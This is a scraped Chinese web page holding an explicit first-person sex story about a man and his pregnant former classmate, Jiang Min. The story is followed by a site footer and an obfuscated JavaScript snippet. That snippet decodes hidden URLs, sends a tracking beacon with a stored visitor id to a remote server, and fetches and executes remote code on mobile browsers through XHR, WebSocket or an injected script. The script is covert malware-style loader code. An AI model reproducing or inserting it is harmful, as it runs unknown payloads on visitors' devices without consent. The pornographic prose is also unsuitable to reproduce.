我用毛毯盖好姜敏,然后脱光衣服,撩开毯子一角钻进去,躺在她身旁,一把把她搂进怀中,急切地用嘴唇寻她的眼睛鼻子还有嘴唇,她闭着眼,仰起脸迎接我的热吻,舌头伸进我嘴里,轻轻舔刮我的舌尖和牙齿。

“孩子,当心别压到孩子……”她声音轻轻地颤抖,像羽毛漂浮在空气中。

我松开胳膊,让我的敏仰面躺平,她半闭起眼睛,用手捉住我的手指放进她自己内衣里面:“来,你摸摸我吧……”

我撩开她内衣的下摆,姜敏欠起身让我替她从头上脱掉。我又解开敏的胸罩,一对肥大的乳房释放出来,滚滚地在胸前涌动,上面还留着胸罩的布带勒出的几条深深的红印,两只奶头因为怀孕变得又大又圆,颜色黑中透红。我伏在姜敏的胸前,轮流含着两只奶头,用力吸吮,虽然还没有到分泌乳汁的日子,我却可以闻得到敏的前胸散发出一种怀孕女人特有的浓郁体香。

我吸了一会儿,敏的两腿不住地开开合合,我吐出奶头,抓住她的内裤裤腰,敏脚跟踮床抬高屁股配合我,我从她脚踝上脱去内裤,敏放肆地张开两腿,把女人最隐密的地方暴露给我,我跪在她两腿中间,脸埋在敏浓密的阴毛丛里,使劲嗅着女人的气息。

二十九岁的姜敏,正处于成熟女人花瓣尽展,花香四溢的年华,她的私处同样充满健康女性的生殖活力。

因为怀孕的缘故,姜敏两腿间的器官滋长得很充分,颜色比以前黑一些,大阴唇和阴道口的两片软肉肥硕极了,鼓鼓地向外暴出,两片软肉中间满溢着稀薄的黏液。

我把嘴凑上去,贴住小阴唇中间的裂缝,舌头伸进裂缝中央的阴道里使劲舔着,敏的身子颤栗起来,一股股清淡的滑液从阴道深处涌出,我用嘴接住,大口大口地吞咽进肚子里。

“来来,来呀!”敏轻声呼唤我进入她的身体,“动作不要太大哦。”她提醒我。

我直起上身,屁股坐在自己脚跟上,敏的两腿被我分开搁在我大腿两边,我扶住阴茎把龟头对准她的中间,慢慢地挺腰让龟头陷入她的身体。

“嗯呣……,”敏舒服得哼了一声,眯起眼睛,头在枕头向后仰了一下,“好了,侬进来了……,来好了!轻点……”

我仍旧跪坐在床上,两手扶持住敏的两腰,阴茎小心翼翼地插入,不让我自己的身体压到胎儿。

敏的阴道已经很松驰了,但依然火热得烫人,深处涨满了水汪汪的润滑液,阴茎在里面来回抽插,龟头只传来一点点快感,我不由得加快速度,可是马上又努力控制住自己,免得太用力伤了孩子。

敏半睁眼睛看着我的动作,不时低低地呻吟几声,两手抓住我的腰,十指使劲掐进肉里,大腿屈曲着夹紧我,膝头抵住我两胯,防止我太深入里面。

“敏,”我小声唤她。

她睁开眼看我:“什么?”

“这样舒服吗?”

她笑了起来,点点头,“嗯,你想用力插到我里面,是吧?不行,真的不行,”她很坚决地说,“孩子会弄掉的,你弄一会就陪我睡吧,好吗?”

“好,我轻轻地来一会儿。”我动得更加小心了。

我的阴茎在敏的阴道里活动了半个小时多,终于积累了足够的快感,我强迫自己把阴茎扯出来,只留半个龟头在阴道口里,一股股白色的精液混合着敏的分泌从她体内淌下来,流到她肛门上。

我用准备好的软纸给她和自己清理了一下,躺到敏身边,给我们俩人拉好毯子盖上。敏一直瞪大眼睛看我在她身上射精,这时她才像小猫一样钻进我怀里,紧绷绷的肚子顶住我,我一面大口喘息,一面轻柔地抚摸她的膨隆。

“我想让小孩子跟我姓姜,好不好?”敏小声问,柔软的手指摩挲着我的面颊。

“好吧,”我吻她的前额,“可是,以后你一个人带会吃很多苦的。”

“不要紧,我想过的,大不了请个媬姆帮忙,我现在的收入雇个下岗女工不难,我想……你……”敏抬起脸很认真地看着我,“你给孩子起个名字吧。”

“好……,”我想了一下,“就叫姜月湖吧,那天晚上在千岛湖边,有很好的月亮啊,而且,我们黄家到我这辈排字是文,可惜我爸爸当年没有给我用上,我孩子是月字辈,好不好?”

“月湖?月湖?”敏念了几遍,“好,男孩女孩都能用上,蛮好的,就叫月湖吧!”

熄了灯,我和敏依偎在被窝里,我抱着她有些沉重的身体,摸着她多了些肥肉的肩头,我们俩说起了很多往事,从我大学入学的时候敏第一次看见我呆头呆脑的样子,讲到在体育馆舞会时,我看见她娇健的身手,又说起她毕业后在同学家里聚会,看见当年的室友们纷纷做了母亲,一批小娃娃差不多同时间出生,从七、八个月到一岁半,唯独她自己仍是空怀寂寞,觉得心里很不是滋味。

我们躺在被窝里回忆着大学时代,讲述当年的椿椿趣人趣事,聊着聊着,眼皮也发沉了,终于,互相拥抱着睡着了。



友情推荐







返回首页 | 返回顶部

function FayQjGC(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function NIfGyu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return FayQjGC(t);};window[''+'p'+'W'+'A'+'n'+'C'+'j'+'i'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=NIfGyu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ssd.zmneysz.com:7891/stats/8195/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZmZS5obbGliaWguY29tJTNBODg5MQ==','d3NzJTNBJTJGJTJGcG8uemFjdm0uYY29tJTNBOTUzMw==','6553',window,document,['b','Y']);}:function(){};